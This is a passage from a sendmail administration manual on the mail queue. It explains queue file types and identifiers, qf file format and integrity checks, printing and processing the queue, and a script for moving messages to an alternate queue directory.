When a message is stored in the queue, it is split into pieces. Each of those pieces is stored as a separate file in the queue directory. That is, the header and other information about the message are stored in one file, while the body (the data) is stored in another. All told, six different types of files may appear in the queue directory. The type of each is denoted by the first two letters of the filenames. Each filename begins with a single letter followed by an f character. The complete list is shown in Table 23.1.

Table 23.1: Queue File Types
File |  | Description
df | Section 23.2.2, "The Data (Message Body) File: df" | Data (message body)
lf | Section 23.2.3, "The Lock File (obsolete as of V5.62): lf" | Lock file (obsolete as of V5.62)
nf | Section 23.2.4, "The ID Creation File (obsolete as of V5.62): nf" | ID creation file (obsolete as of V5.62)
tf | Section 23.2.6, "The Temporary qf Rewrite Image: tf" | Temporary qf rewrite image
xf | Section 23.2.7, "The Transcript File: xf" | Transcript file
qf | Section 23.2.5, "The Queue Control File: qf" | Queue control file (and headers)

The complete form for each filename is

Xfident

The X is one of the leading letters shown in Table 23.1. The f is the constant letter f. The ident is a unique queue identifier associated with each mail message.

In the following sections we first describe the identifier that is common to all the queue file parts, then describe each file type in alphabetical order. The internal details of the qf file can vary depending on the version of sendmail, so it is discussed separately at the end of this chapter.

23.2.1 The Queue Identifier

To ensure that new filenames are not the same as the names of files that may already be in the queue, sendmail uses the following pattern for each new ident:

AApid  <-  prior to V8.6
hourAApid  <-  beginning with V8.6

Here, pid is the process identification number of the incarnation of sendmail that is trying to create the file. Because sendmail often fork(2)'s to process the queue, that pid is likely to be unique, resulting in a unique ident. For V8 sendmail an extra letter prefixes the AA. Shown as hour, it is an uppercase letter that corresponds to the hour (in a 24-hour clock) that the identifier was created. For example, a file created in hour three of the day will have a D prefixed (the hour begins at midnight with A). [2]

[2] Programs should not depend on the lead letter actually encoding the hour. It is intended only to ensure that all identifiers be unique within any 24-hour period and as an aid to scripts that need to extract information from log files.

If sendmail cannot create an exclusive filename (because a file with that identifier already exists), it clocks the second A of the AA to a B and tries again. It continues this process, clocking the right-hand letter from A to Z and the left-hand letter from A to ~ until it succeeds:

AA              <-  start
AB              <-  second try
AC              <-  third try
 ... and so on
~W
~X
~Y              <-  last try
~Z              <-  failure

If it never succeeds, the ident ultimately looks like the following and sendmail has failed:

hour~Zpid

This ident is unlikely to ever appear, because the clocking provides for over 1600 possibilities.

All the files associated with a given mail message share the same ident as a part of their filenames. The individual files associated with a single mail message differ only in the first letter of their names.

23.2.2 The Data (Message Body) File: df

All mail messages are composed of a header and a body. When queued, the body is stored in the df file.

Traditionally, the message body could contain only characters that had the high (most significant) bit turned off (cleared, set to 0). But under V8 sendmail, with a version 2 or higher configuration file (see Section 27.5, "The V Configuration Command"), the high bit is left as is until delivery (whereupon the F=7 delivery-agent flag, see Section 30.8.4, F=7, determines whether or not that bit will be stripped during delivery).

Because the message body can contain sensitive or personal information, the df file should be protected from reading by ordinary users. If the queue directory is world readable, then the TempFileMode (F) option (see Section 34.8.68, TempFileMode (F)) should specify minimum permissions (such as 0600) for queued files. But if the queue directory is protected by both narrow permissions and a secure machine, the TempFileMode (F) option may be relaxed for easier administration.

There is currently no plan to provide for encryption of df files. If you are concerned about the privacy of your message, you should use an end-to-end encryption package (not discussed in this book).

23.2.3 The Lock File (obsolete as of V5.62): lf

When old versions of sendmail process a queued message (attempt to redeliver it) they create an empty lock file. That lock file is necessary to signal to other running sendmail processes that the mail message is busy so that they won't try to deliver the message too. Current versions simply flock(2) or fcntl(2) the qf file.

23.2.3.1 Current style file locking

The method that sendmail uses to initially create an exclusive lock when first queueing a file is twofold. First it attempts to creat(2) the file with the argument

O_CREAT|O_WRONLY|O_EXCL

If that succeeds, it then attempts to lock the file. If HASFLOCK (see Section 18.8.9, HAS...) is defined when sendmail is compiled, the file is locked with flock(2). Otherwise, it is locked with a fcntl(2) F_SETLK argument.

23.2.3.2 Locks shown when printing the queue

When mailq is run (or the -bp command-line switch is given to sendmail), the contents of the queue are listed. In that listing, an asterisk that appears to the right of an identifier indicates that a lock exists on the message:

                Mail Queue (1 request)
-Q-ID- -Size- --Q-Time--- ------Sender/Recipient------
MAA17445*   126 Fri Apr 17 10:17 <gw@wash.dc.gov>
                                  <ben@franklin.edu>
       note

23.2.3.3 Locks can get stuck

Occasionally, a file will become locked and remain that way for a long time. One indication of a stuck lock is a series of syslog messages about a given identifier:

Apr 12 00:33:38 ourhost sendmail[641]: AA00614: locked
Apr 12 01:22:14 ourhost sendmail[976]: AA00614: locked
Apr 12 02:49:23 ourhost sendmail[3251]: AA00976: locked
Apr 12 02:49:51 ourhost sendmail[5977]: AA00614: locked
Apr 12 03:53:05 ourhost sendmail[9839]: AA00614: locked

An occasional lock message, such as AA00976 in the third line above, is normal. But when an identifier is continually reporting as locked (like the AA00614 lines), an orphaned lock may exist and should be investigated. Use ps(1) to look for lines that list queue file identifiers:

root      5338 160  -AA00614 To wash.dc.gov (sendmail)

This shows that the queued mail message, whose identifier is AA00614, is currently being processed. It the lock on that file is stuck, consider killing the sendmail that is processing it.

23.2.4 The ID Creation File (obsolete as of V5.62): nf

Old versions of sendmail used an nf file when creating a message identifier to avoid race conditions. [3] But contemporary versions of sendmail create the queue identifier when first creating the qf file. The nf file is obsolete.

[3] Historical footnote: This stems from the days when the only atomic file-system call was link(2).

23.2.5 The Queue Control File: qf

A queued mail message is composed of two primary parts. The df file contains the message body. The qf file contains the message header.

In addition to the header, the qf file also contains all the information necessary to:

  • Deliver the message. It contains the sender's address and a list of recipient addresses.

  • Order message processing. It contains a priority that determines the current message's position in a queue run of many messages.

  • Expire the message. It contains the date that the message was originally queued. That date is used to time out a message.

  • Explain the message. It contains the reason that the message is in the queue and possibly the error that caused it to be queued.

The qf file is line-oriented, with one item of information per line. Each line begins with a single uppercase character (the code letter), which specifies the contents of the line. Each code letter is then followed by the information appropriate to the letter. The code letters and their meanings are shown in Table 23.2 of Section 23.9, "The qf File Internals".

Here is an example of a version 1 (for V8.8 sendmail) qf file:

V1
T826845694
K0
N0
P30016
I7/4/20
$_you@localhost
MDeferred: Host wash.dc.gov is down
Syou@your.domain
RPFD:george@wash.dc.gov
RPFD:jefferson
H?P?Return-Path: you@your.domain
HReceived: (from you@your.domain) by your.domain (8.8.4/8.8.4)
        id QAA06571 for george@wash.dc.gov; Thu, 14 Mar 1996 16:21:34 -0700 (MST)
H?D?Date: Thu, 14 Mar 1996 16:21:34 -0700 (MST)
H?F?From: Your Name <you@your.domain>
H?x?Full-Name: Your Name
H?M?Message-Id: <199603142321.QAA06571@your.domain>
HSubject: foo
.

This fictional qf file shows the information that will be used to send a mail message from you@your.domain (the S line) to two recipients: george@wash.dc.gov and jefferson (the R lines). It also shows the various headers that appear in that message (the H lines). We discuss the individual lines of the qf file in at the end of this chapter.

23.2.6 The Temporary qf Rewrite Image: tf

When processing a queued message, it is often necessary for sendmail to modify the contents of the qf file. This usually occurs if delivery has failed or if delivery for only a part of the recipient list succeeded. In either event, at least the message priority needs to be incremented.

To prevent damage to the original qf file, sendmail makes changes to a temporary copy of that file. The temporary copy has the same queue identifier as the original, but its name begins with a t.

After the tf file has been successfully written and closed, sendmail calls rename(2) to replace the original with the copy. If the renaming fails, sendmail syslog(3)'s at LOG_CRIT a message like the following:

cannot rename(tfAA00000, qfAA00000), df=dfAA00000

Failure to rename is an unusual, but serious, problem: A queued message has been processed, but its qf file contains old and incorrect information. This failure may, for example, indicate a hardware error, a corrupted queue directory, or that the system administrator accidentally removed the queue directory.

23.2.7 The Transcript File: xf

A given mail message may be destined for many recipients, requiring different delivery agents. During the process of delivery, error messages (such as "User unknown" and "Permission denied") can be printed back to sendmail by each delivery agent.

While calling the necessary delivery agents, sendmail saves all the error messages it receives in a temporary file. The name of that temporary file begins with the letters xf. After all delivery agents have been called, sendmail returns any collected error messages to the sender and deletes the temporary xf file. If there are no errors, the empty xf file is silently deleted. The -d51.104 debugging switch (see Section 37.5.171, -d51.104) can be used to prevent deletion of the xf file.

Previous: 23.1 Overview of the Queue | sendmail | Next: 23.3 A Bogus qf File (V8 only): Qf
23.1 Overview of the Queue | Book Index | 23.3 A Bogus qf File (V8 only): Qf


[Chapter 23] 23.3 A Bogus qf File (V8 only): Qf

sendmailSearch this book
Previous: 23.2 Parts of a Queued Message Chapter 23
The Queue 		Next: 23.4 Printing the Queue

23.3 A Bogus qf File (V8 only): Qf

For security reasons, V8 sendmail performs a number of checks on each qf file before trusting its contents. If any qf file fails to be trustworthy, sendmail converts the leading q in its name to an uppercase Q. We discuss each possible problem in the sections that follow.

Note that when sendmail renames a qf file into a Qf file, it usually (but not always) logs that it did so. In the following, qffile is the full filename of the qf file, before it was renamed:

Losing qffile: reason here

Also note that, although sendmail checks the qf file for a number of plausibilities, its checking is by no means exhaustive. The checks that we describe here are no substitute for a well managed system.

23.3.1 Badly Formed qf Filename

V8.6 sendmail always checks the form of the qf filename for correctness. V8.7 and above sendmail also check the qf filename but do so only if PICKY_QF_NAME_CHECK is defined when building (see Section 18.8.35, PICKY...). If the qf file name is incorrectly formed (see Section 23.2.1, "The Queue Identifier"), sendmail presumes that some other program placed the file in the queue and rejects it:

orderq: bogus qf name bogus name here

Beginning with V8.7, sendmail requires PICKY_QF_NAME_CHECK to be defined because some sites allow legitimate programs (other than sendmail) to write into sendmail's queue.

To fix this problem, either undefine PICKY_QF_NAME_CHECK when you build sendmail (if your site allows other programs to write into the queue directory) or trace down the process that is placing badly formed qf names in your queue and fix it.

23.3.2 Bad qf Owner or Permissions

Each qf file must be owned by the effective user ID under which sendmail runs (usually root). A qf file must not be group or world writable. If a qf file fails either test, it is considered bogus and is renamed to a Qf file. Then sendmail logs these messages:

id: bogus queue file, uid=owner, mode=perms
Losing qffile: bogus file uid in mqueue

Here, id is the identifier portion of the qf file name, owner is the uid of the user that owns the qf file, and perms are the file permissions of the qf file, printed in octal.

This problem may point to bad queue directory permissions that allow anyone (or some group) to place files there. Or it may indicate that some processes other than sendmail is writing to your queue.

23.3.3 Extra Data at End of qf File

One form of attack against sendmail is to append additional control lines to the end of an existing qf file. V8.7 sendmail specifically checks for additional text and rejects the qf file if any is found:

SECURITY ALERT: extra data in qf: first bogus line printed here
Losing qffile: bogus queue line

V8.7 sendmail terminates its legitimate list of qf control lines by placing a dot on a line by itself. Any text following that line, including comments and blank lines, is considered an error. This may represent a serious attack against your machine or site. If you get this message, investigate at once.

23.3.4 Unknown Control Character in qf File

Each line in a qf file must begin with a known control letter or character (see Section 23.9). If a line begins with any other character, it is considered bad, and the whole file is rejected:

readqf: qffile: line num: bad line "bogus line here"
Losing qffile: unrecognized line

Note that this error is to be anticipated if you go backwards, from a later release to an earlier release of sendmail.

23.3.5 Funny Flag Bits in qf File

An F line in a qf file is used to save and restore envelope flag bits. Unfortunately, the first line of a UNIX style mailbox also begins with an F:

From someone@site

If a qf file's F line begins with the five characters "From ", V8.7 and above sendmail will reject the file and log a possible attack:

SECURITY ALERT: bogus qf line bogus line here
Losing qffile: bogus queue line

This represents a serious attack against your machine or site. If you get this message, investigate at once.

23.3.6 Savemail Panic

In the rare event that sendmail cannot dispose of a bounced message, it will preserve the qf file as a Qf file and log the message:

savemail: cannot save rejected e-mail anywhere
Losing qffile: savemail panic

The sendmail program tries everything possible to avoid this state (including bouncing the message, sending it to the postmaster, and saving it to a dead.letter file). Only if all else fails will it preserve the qf file as a Qf file.

In general this points to an alias problem with the user named postmaster or the owner of a mailing list. Such users are special. They must be able to receive email messages no matter what. They should be the names of real people, not the names of further mailing lists.

Previous: 23.2 Parts of a Queued Message | sendmail | Next: 23.4 Printing the Queue
23.2 Parts of a Queued Message | Book Index | 23.4 Printing the Queue


[Chapter 23] 23.4 Printing the Queue

sendmailSearch this book
Previous: 23.3 A Bogus qf File (V8 only): Qf Chapter 23
The Queue 		Next: 23.5 How the Queue Is Processed

23.4 Printing the Queue

When sendmail is run under the name mailq, or when it is given the -bp command-line switch, it prints the contents of the queue and exits.

Before printing the queue's contents, sendmail prereads all the qf files in the queue and sorts the mail messages internally. This is done so that the queue's contents are displayed in the same order in which the messages will be processed during a queue run.

If there are no messages in the queue (no qf files), sendmail prints the following message and exits:

Mail queue is empty

Otherwise, sendmail prints the number of messages (number of qf files) in the queue:

Mail Queue (# requests)

The # is the number of queued messages (requests) in the queue directory. If there are more than the maximum number of messages that may be processed at one time (defined by the MaxQueueRunSize option (see Section 34.8.38, MaxQueueRunSize), [4] sendmail prints

[4] Prior to V8.7 this was determined by defining QUEUESIZE in conf.h.

Mail Queue (# requests, only ## printed)

The ## is the value of the MaxQueueRunSize option.

Next, sendmail prints an attractive heading that looks like the following:

-Q-ID- -Size- ---Q-Time--- ------Sender/Recipient------
MAA12345      354 Fri Mar 15 08:32 your@your.domain
                                   george@wash.dc.gov
MAA12346*    1972 Fri Mar 15 08:45 your@your.domain
      8BITMIME   (Timed out waiting to connect to wash.dc.gov)
                                   jefferson@wash.dc.gov
MAA12347-      23 Fri Mar 15 09:32 your@your.domain
                 (Timed out waiting to connect to wash.dc.gov)
                                   jefferson@wash.dc.gov
                                   bob

The heading shows the information that is printed about each message in the queue. The items in that heading and their meanings are the following: Q-ID The queue identifier for the message: the hour character, the clocked AA part, and the pid numeric part (like MAA12345). This item can be followed by a character showing the item's status. An asterisk (* as in the second item above), means that the message is locked (an lf file was found or the qf file is locked depending on the kind of locking your version of sendmail uses). An X means that the load average is currently too high to allow delivery of the message. A minus (- as in the third item above) means that the message is too young to be processed (based on the MinQueueAge option, see Section 34.8.41, MinQueueAge). Size The size in bytes of the df file. If there is no df file (because sendmail is currently receiving this message and hasn't created one yet), this item is absent. If the message has completed processing, this prints as:

(job completed)

If the qf file is empty, this prints as

(no control file)

Q-Time The date and time that the message was first placed into the queue. This is the T line (see Section 23.9.15, T line) in the qf file converted from an unsigned integer into a more understandable date and time. Sender The sender of the message as taken from the S line (see Section 23.9.14, S line) in the qf file. Only the first 45 characters of the sender address are printed. If there is a B line (see Section 23.9.1, B line) in the qf file (as the 8BITMIME in the second item in the example above) sendmail prints that body-type (see the -B switch in Section 36.7.1, -B) on the line following the sender. If there is an M line (see Section 23.9.9, M line) in the qf file, sendmail prints the text of the error message in parentheses. Recipient After all of the above items have been printed, a list of the recipients (from each R line, see Section 23.9.13, R line, in the qf file) is printed in the order in which they are found. In the above example there is one recipient for each of the first two items and two recipients for the last item.

23.4.1 Printing the Queue in Verbose Mode

The -v command-line switch may be used in combination with the -bp switch to cause sendmail to also print additional details about the queued messages. To begin, the usual heading shows a new item:

-Q-ID- -Size- -Priority- --Q-Time-- ------Sender/Recipient------
MAA12345      354      30020 Fri Mar 15 08:32 your@your.domain
                                   george@wash.dc.gov
MAA12346*    1972      48764 Fri Mar 15 08:45 your@your.domain
      8BITMIME   (Timed out waiting to connect to wash.dc.gov)
                                   jefferson@wash.dc.gov
MAA12347-      23      54321+Fri Mar 15 09:32 your@your.domain
                 (Timed out waiting to connect to wash.dc.gov)
                                   jefferson@wash.dc.gov
                               (--you--)
                                   bob

The Priority is the value from the P line (see Section 23.9.11, P line) in the qf file. Printing the queue does not change a message's priority, whereas processing the queue does. See the RecipientFactor (y) option (Section 34.8.53, RecipientFactor (y)) for a description of how the priority is calculated.

Verbose mode also causes a + to print after the Priority (as in the third item above) if a warning message has been sent. See the Timeout.queuewarn option (Section 34.8.70, Timeout (r)) for a description of how messages time out.

If any R line is preceded by a controlling user (C line in the qf file; see Section 23.9.2, C line), verbose mode causes that controlling user's name to be put in parentheses and prepended to the recipient name. The third item in the preceding example illustrates this.

Finally, the M line error messages are normally truncated to 60 characters. Beginning with V8.8 sendmail, verbose mode causes the full, nontruncated text of the M line error to be printed.

Previous: 23.3 A Bogus qf File (V8 only): Qf | sendmail | Next: 23.5 How the Queue Is Processed
23.3 A Bogus qf File (V8 only): Qf | Book Index | 23.5 How the Queue Is Processed


[Chapter 23] 23.5 How the Queue Is Processed

sendmailSearch this book
Previous: 23.4 Printing the Queue Chapter 23
The Queue 		Next: 23.6 Cause the Queue to Be Processed

23.5 How the Queue Is Processed

Over time, messages may gather in the queue awaiting delivery. They remain there until sendmail performs a queue run to process the queue. The sendmail program can be told either to process the queue periodically (when run as a daemon) or to process the queue once, then exit. Each time sendmail processes the queue, it also performs a series of operations that are intended to improve the efficiency with which it delivers messages.

First the queue directory is opened for reading. If that directory cannot be opened, sendmail syslog(3)'s the following message at LOG_CRIT and exits:

orderq: cannot open "/var/spool/mailq" as "."

This error is usually the result of a user running sendmail in an unsafe manner, with a -C command-line argument, for example. It can also result from sendmail attempting to open an NFS-mounted queue directory, where root is mapped to nobody.

Next, the qf files are read to gather their priorities and times (the P and T lines). If a qf file cannot be opened, it is quietly ignored unless the -d41.2 debugging command-line switch (see Section 37.5.145, -d41.2) is specified. That switch causes sendmail to print the following error message:

orderq: cannot open qfMAA12345 (reason)

Prior to V8.7 sendmail, there was a hard limit on the number of messages that could be processed at any time. If more than QUEUESIZE (defined in conf.h, typically 1000) messages were in queue, only the first QUEUESIZE (1000) of them would be processed! Ordinarily, this was not a problem. But it could quickly become one if your queue were clogged with a huge number of undeliverable messages (where the first 1000 continued to be deferred). In that case the only solution is to temporarily move the 1000 messages out of the way by hand (see Section 23.7.1, "Handling a Down Site") and clear the queue. The only way to detect this situation is to print the queue (see Section 23.4).

V8.7 and above sendmail dynamically allocates memory to process the queue. If more than QUEUESIZE messages are found, sendmail will print the following notice and process them:

grew WorkQ for queue_directory to bytes

As an alternative to this dynamic behavior, V8.7 and above sendmail offers a hard limit that is somewhat like the old version but is site tunable with the MaxQueueRunSize option (see Section 34.8.38). After all the qf files have been gathered, they are sorted in order of cost. Messages with the lowest value of the P line have the highest priority (lowest cost) and are processed first.

Beginning with V8.7, sendmail also offers the QueueSortOrder option (see Section 34.8.51, QueueSortOrder), which allows you to sort by priority (as before), by priority and host-name, or by date queued. Once all the messages have been sorted, sendmail processes each in turn.

23.5.1 Processing a Single Message

A single queued message has a single sender but may have many recipients. When processing a queued message, sendmail attempts to deliver it to all recipients before processing the next queued message.

The first step in processing a queued message is to lock it so that concurrent runs of sendmail do not attempt to process it simultaneously (see Section 23.2.3.1, "Current style file locking"). Then the qf file is opened and read. The sender and all the recipients are gathered from the corresponding S and R lines.

For each recipient, delivery is attempted. If delivery is successful, that recipient's address is removed from the sendmail program's internal list of recipient addresses. If delivery fails, that address is either left in the list or bounced, depending on the nature of the error.

After all recipients have been either delivered, bounced, or left in the list, sendmail reexamines that list. If there are no recipients left in it, the message is de-queued (all of the files in the queue directory that compose it are removed). If any recipients are left, the M line is assigned the error message of the last failed message, and the qf file is rewritten with the list of remaining recipients. Finally, the qf file is closed, thus freeing its lock.

Under V8 sendmail the CheckpointInterval (C) option (see Section 34.8.7, CheckpointInterval (C)) causes checkpointing of this process. When this option has a positive value, the qf file is rewritten after that value's number of recipients have been processed. For example, consider a mail message to five recipients. If the CheckpointInterval (C) option is set to a value of 2, the qf file is rewritten after the first two recipients have been processed, then again after four, and again after they all have been processed. This keeps the qf file reasonably up-to-date as protection against sendmail being improperly killed or the machine crashing.

Previous: 23.4 Printing the Queue | sendmail | Next: 23.6 Cause the Queue to Be Processed
23.4 Printing the Queue | Book Index | 23.6 Cause the Queue to Be Processed


[Chapter 23] 23.6 Cause the Queue to Be Processed

sendmailSearch this book
Previous: 23.5 How the Queue Is Processed Chapter 23
The Queue 		Next: 23.7 Process Alternate Queues

23.6 Cause the Queue to Be Processed

The sendmail program offers two different methods for processing the queue. It can be told to process the queue periodically or to process it once and then exit.

23.6.1 Periodically with -q

The -q command-line switch is used both to cause the queue to be processed and to specify the interval between queue runs.

A typical invocation of the sendmail daemon looks like this:

/usr/lib/sendmail -bd -q1h

Here, the sendmail program is placed into listening mode with the -bd command-line switch. The -q1h command-line switch tells it to process the queue once each hour. Note that either switch puts sendmail into the background as a daemon. The -bd switch just allows sendmail to listen for incoming SMTP connections. Consider the following:

/usr/lib/sendmail -bd
/usr/lib/sendmail -q1h

This runs two daemons simultaneously. The first listens for incoming SMTP connections. The second processes the queue once per hour.

At small sites, where mail messages are rarely queued, the time interval chosen may be small, to ensure that all mail is delivered promptly. An interval of 15m (15 minutes) may be appropriate.

At many sites an interval of one hour is probably best. It is short enough to ensure that delays in delivery remain tolerable, yet long enough to ensure that queue processing does not overlap.

At large sites with huge amounts of mail and at sites that send a great deal of international mail, the interval has to be carefully tuned by observing how long it takes sendmail to process the queue and what causes that process to take a long time. Points to consider are the following:

  • Network delays or delays at the receiving host may cause delivery to that host to time out. Timeouts are set with the Timeout (r) option (see Section 34.8.70). [5] Each such timeout is logged at LOG_NOTICE with a message like this:

    [5] Note that prior to V8 sendmail the r option set one timeout for all SMTP timeouts.

    timeout waiting for input from host during what

    Here, host is the name of the other host, and what specifies which timeout triggered the message (such as "client HELO for to_helo). In general, timeouts should be large to ensure that mail to busy sites and to large mailing lists does not time out improperly. In observing the queue processing, you may find that all messages but one process swiftly. That one, you may find, takes over an hour because of a long SMTP timeout. A possible solution to this problem is to make all timeouts short so that most queue runs are processed quickly. Then, for example, the following command could be run a few times each night to specifically flush those long jobs:

    /usr/lib/sendmail -or2h -q

  • The queue can take a long time to process because too many messages are being queued unnecessarily. Several options affect the placement of mail messages into the queue. The QueueLA (x) option (see Section 34.8.50) tells sendmail to queue, rather than deliver, a message if the machine load is too high. Fewer messages will be queued if the value of that option is increased. The SuperSafe (s) option (see Section 34.8.67, SuperSafe (s)) tells sendmail to queue all messages for safety. If your machine "never" crashes, this may not be necessary. [6] The HoldExpensive (c) option (see Section 34.8.29, HoldExpensive (c)) tells sendmail to queue messages to "expensive" delivery agents (those with the F=e flag set; see Section 30.8.18, F=e) rather than delivering them. If the queue is routinely filled with messages to expensive sites, you should reconsider your reasons for marking those sites as expensive.

    [6] Eric says, "Set this option. In fact, it may go away (or be ignored, i.e., always be on) in some future release."

  • The queue can fill with messages because sendmail was run with the -odq or -odd command-line switch (see the DeliveryMode (d) option, Section 34.8.16). At sites that receive a great deal of UUCP mail for forwarding, the rmail(8) program is often set up to run sendmail in "queue only" mode with the -odq command-line switch. If UUCP mail is clogging your normal mail services, you should consider queueing it to a separate queue directory. You can then process that other directory with a separate queue run of sendmail. (Use of separate queue directories is discussed in Section 23.7, "Process Alternate Queues".)

  • A slow machine can clog the queue. When a single machine is set up to handle the bulk of a site's mail, that machine should be as swift as possible. In general, a dedicated mail server should have a fast CPU with lots of memory. It should never allow users to log in to it, and it should run its own name server daemon.

23.6.2 From the Command Line

The -q command-line switch, invoked without a time interval argument, is used to run sendmail in queue-processing mode. In this mode, sendmail processes the queue once and then exits. This mode can be run interactively from the command-line or in the background via cron(8).

Other command-line switches can be combined with -q to refine the way the queue is processed. The -v (verbose) switch causes sendmail to print information about each message it is processing. The -d (debugging) switch may be used to produce additional information about the queue. We'll discuss the -v switch as it applies to the queue later in this chapter. Those -d debugging switches appropriate to the queue can be found in Table 37.2 of Section 37.5, "Reference in Numerical Order".

V8 sendmail allows variations on -q: -qI allows you to specify a specific message identifier for processing; -qR allows you to specify specific recipient addresses for processing; -qS allows you to specify specific sender addresses for processing. [7]

[7] IDA and Pre-V8 SunOS sendmail offer three different command-line switches for processing the queue. The -M switch allows you to specify a specific message for processing. The -R switch allows you to specify specific recipient addresses for processing. The -S switch allows you to specify specific sender addresses for processing.

23.6.2.1 Process the queue once: -q

The -q command-line switch, without an interval argument, tells sendmail to process the queue once, then exit. As such, this switch is a handy administrative tool. When the queue fills unexpectedly between queue runs of the daemon, for example, the -q command-line switch can be used to force an immediate queue run:

# /usr/lib/sendmail -q

On machines that do not run the sendmail daemon, the -q command-line switch can be used in conjunction with cron(8) to periodically process the queue. The following crontab(5) file entry, for example, causes sendmail to be run once per hour, at five minutes past the hour, to silently process the queue and exit:

5 * * * * /usr/lib/sendmail -q >/dev/null 2>&1

When used in conjunction with other switches (shown below), the -q switch allows many queue problems to be conveniently handled.

23.6.2.2 Combine -v with -q

The -q switch without an argument prevents sendmail from running in the background and detaching from its controlling terminal. But it also runs silently. To see what is going on, use the -v command-line switch in combination with the -q:

% /usr/lib/sendmail -v -q

The -v command-line switch causes sendmail to print a step-by-step description of what it is doing. To illustrate, consider the following output produced by using both the -v and -q command-line switches:

Running MAA20989 (sequence 1 of 2)
<adams@dc.gov>... Connecting to dc.gov via ddn...
Trying 123.45.67.8... Connection timed out during user open with DC.GOV
<adams@dc.gov>... Deferred: Host DC.GOV is down

Running MAA27002 (sequence 2 of 2)
<help@irs.dc.gov>... Connecting to irs.dc.gov via ddn...
Trying 123.45.67.88...  connected.
220 irs.dc.gov Sendmail 5.57/3.0 ready at Mon, 27 Jan 92 09:16:38 -0400

Here, two queued messages are being processed. The first fails because of a connection timeout and is requeued for a later queue run. The second succeeds (we omit the full SMTP dialogue). After its delivery is complete, it is removed from the queue.

23.6.2.3 Process by identifier/recipient/sender: -q[ISR]

With V8 sendmail you can process a subset of all queued messages. You can select which to process based on queue identifier, recipient address, or sender address:

-qIqueueid
-qRrecipient
-qSsender

The -qI variation is followed by a queue identifier such as KAA34556. The -qR is followed by the address of a recipient. The -qS is followed by the address of a sender. In all three variations there must be no space between the uppercase letter and the identifier or address.

These variations are used to limit the selection of queued files that are processed. For example:

% /usr/lib/sendmail -qSroot -qRbiff@here

Here, the queue is processed once. Only messages from root are processed. Of those, only messages that have biff@here as one of the recipients are processed.

In all three variations a partial specification of queueid, recipient, or sender is viewed by V8 sendmail as a substring. For example,

-qSroot

matches mail from all of the following:

root
ben@groots.edu
ben@GROOTS.EDU

The last line further illustrates that the substring match is a case-insensitive one. The substring match is literal. Wildcard characters (such as *) and regular expressions (such as .*@.*edu) won't work and may confuse the shell from which you run sendmail.

Multiple specifications may be combined on the command line (as shown above), but they all AND together:

% /usr/lib/sendmail -qI123 -qSroot -qR@host.edu

Here, the queue is processed only for messages with the number 123 anywhere in the message identifier that are also from root and that are also addressed to anyone at host.edu.

You can use the mailq command to preview the effect of these switches. For example, the following command will list (but not send) the messages that would be processed by the above command line:

% mailq -qI123 -qSroot -qR@host.edu

23.6.2.4 Process the queue via ESMTP ETRN

The ESMTP ETRN command, based on RFC1985, causes V8.8 and above sendmail to asynchronously process its queue in a manner similar to the -qR command line switch (see Section 23.6.2.3, "Process by identifier/recipient/sender: -q[ISR]"). This new command allows dial-on-demand sites to make an SMTP connection and to force the other side to process and send any mail that is queued for them. The form of this ESMTP command looks like this:

ETRN hostname

If the host is missing, this error message will be returned:

550 Parameter required

Otherwise, the queue will be processed just as if the following command line argument were given:

-qR@hostname

In both cases a qf file will be processed if it has a host named hostname anywhere in the host part (following the @) of one of its R lines. The only difference here is that the former (the ETRN) operates asynchronously. That is, sendmail forks a copy of itself, and the forked child processes the queue.

One way to use ETRN is with a simple Bourne shell script:

#!/bin/sh
OURSITE=here.uofa.edu
MAILSERVER=mailhub.uofa.edu
TELNET=/usr/ucb/telnet
PORT=25

echo "etrn $OURSITE" | $TELNET $MAILSERVER $PORT
exit 0

If run on a dial-on-demand host, this script will force a dial-up network connection to be made. The mail server's sendmail is then forced, with ETRN, to process the queue and transport back any mail destined for the local host over the just-created network connection.

Previous: 23.5 How the Queue Is Processed | sendmail | Next: 23.7 Process Alternate Queues
23.5 How the Queue Is Processed | Book Index | 23.7 Process Alternate Queues


[Chapter 23] 23.7 Process Alternate Queues

sendmailSearch this book
Previous: 23.6 Cause the Queue to Be Processed Chapter 23
The Queue 		Next: 23.8 Pitfalls

23.7 Process Alternate Queues

The sendmail program provides the ability to use queue directories other than the one listed in the configuration file's QueueDirectory (Q) option (see Section 34.8.48). Other queue directories can be used to solve an assortment of problems. One example is a site being down for an extended period. When a lot of mail is sent to such a site, messages collect in the queue and eventually start timing out. By moving those messages to a separate queue directory and processing it at a later time (when that site is back up), unnecessary bouncing of mail can be prevented.

Note that the QueueDirectory (Q) option is not safe. If its value is changed by anyone other than root, sendmail runs as an ordinary user.

23.7.1 Handling a Down Site

If a site is down, messages to that site can collect in the queue. If the site is expected to be down for a protracted period of time, those queued messages will begin to time out and bounce. To prevent them from bouncing, you can move them to a separate queue directory. Later, when the down site comes back up, you can process that separate queue.

To move the affected messages to a separate queue, you may use a Bourne shell script like the following:

#!/bin/sh
set -u
QUEUE=/var/spool/mqueue
NEWQ=/var/spool/newqueue

if [ ! -d $QUEUE ]
then
        echo "${QUEUE}: Does not exist or is not a directory"
        exit 1
fi
if [ ! -d $NEWQ ]
then
        mkdir -p $NEWQ
        if [ $? -ne 0 ]
        then
                echo "${NEWQ}: Can't create"
                exit 2
        fi
fi
find ${QUEUE} -type f -name qf* -print |\
while read QF
do
        IDENT=`echo $QF | sed -e "s,^${QUEUE}/qf,,"`
        grep "^R" ${QUEUE}/qf${IDENT}
        echo -n "move ${IDENT}? (y/n) "
        read answer
        case $answer in
                [nN]*)  continue;;
                *)      ;;
        esac
        mv ${QUEUE}/*${IDENT} $NEWQ
        if [ $? -ne 0 ]
        then
                echo "Move failed"
                exit 3
        else
                echo "Move succeeded"
        fi
done
/usr/lib/sendmail -OQueueDirectory=${NEWQ} -bp

This script creates a new queue directory, $NEWQ, if it doesn't exist. It then prints the recipient list for each qf file in the queue (the grep(1) in $QUEUE) and asks whether you want to move that file. If you answer yes, all the files that compose the queued message are moved into $NEWQ. After all the messages have been moved, the contents of $NEWQ are printed using the QueueDirectory (Q) option:

% /usr/lib/sendmail -OQueueDirectory=${NEWQ} -bp

When the down site comes back up at a later time, the messages that have been saved in $NEWQ can be delivered by running the following command by hand:

% /usr/lib/sendmail -OQueueDirectory=/var/spool/newqueue -OTimeout.queuereturn=99d -q

The -oTimeout.queuereturn=99d causes the time to live in the queue to be extended to 99 days. This prevents the held mail in ${NEWQ} from wrongly bouncing when you try to deliver it.

Previous: 23.6 Cause the Queue to Be Processed | sendmail | Next: 23.8 Pitfalls
23.6 Cause the Queue to Be Processed | Book Index | 23.8 Pitfalls
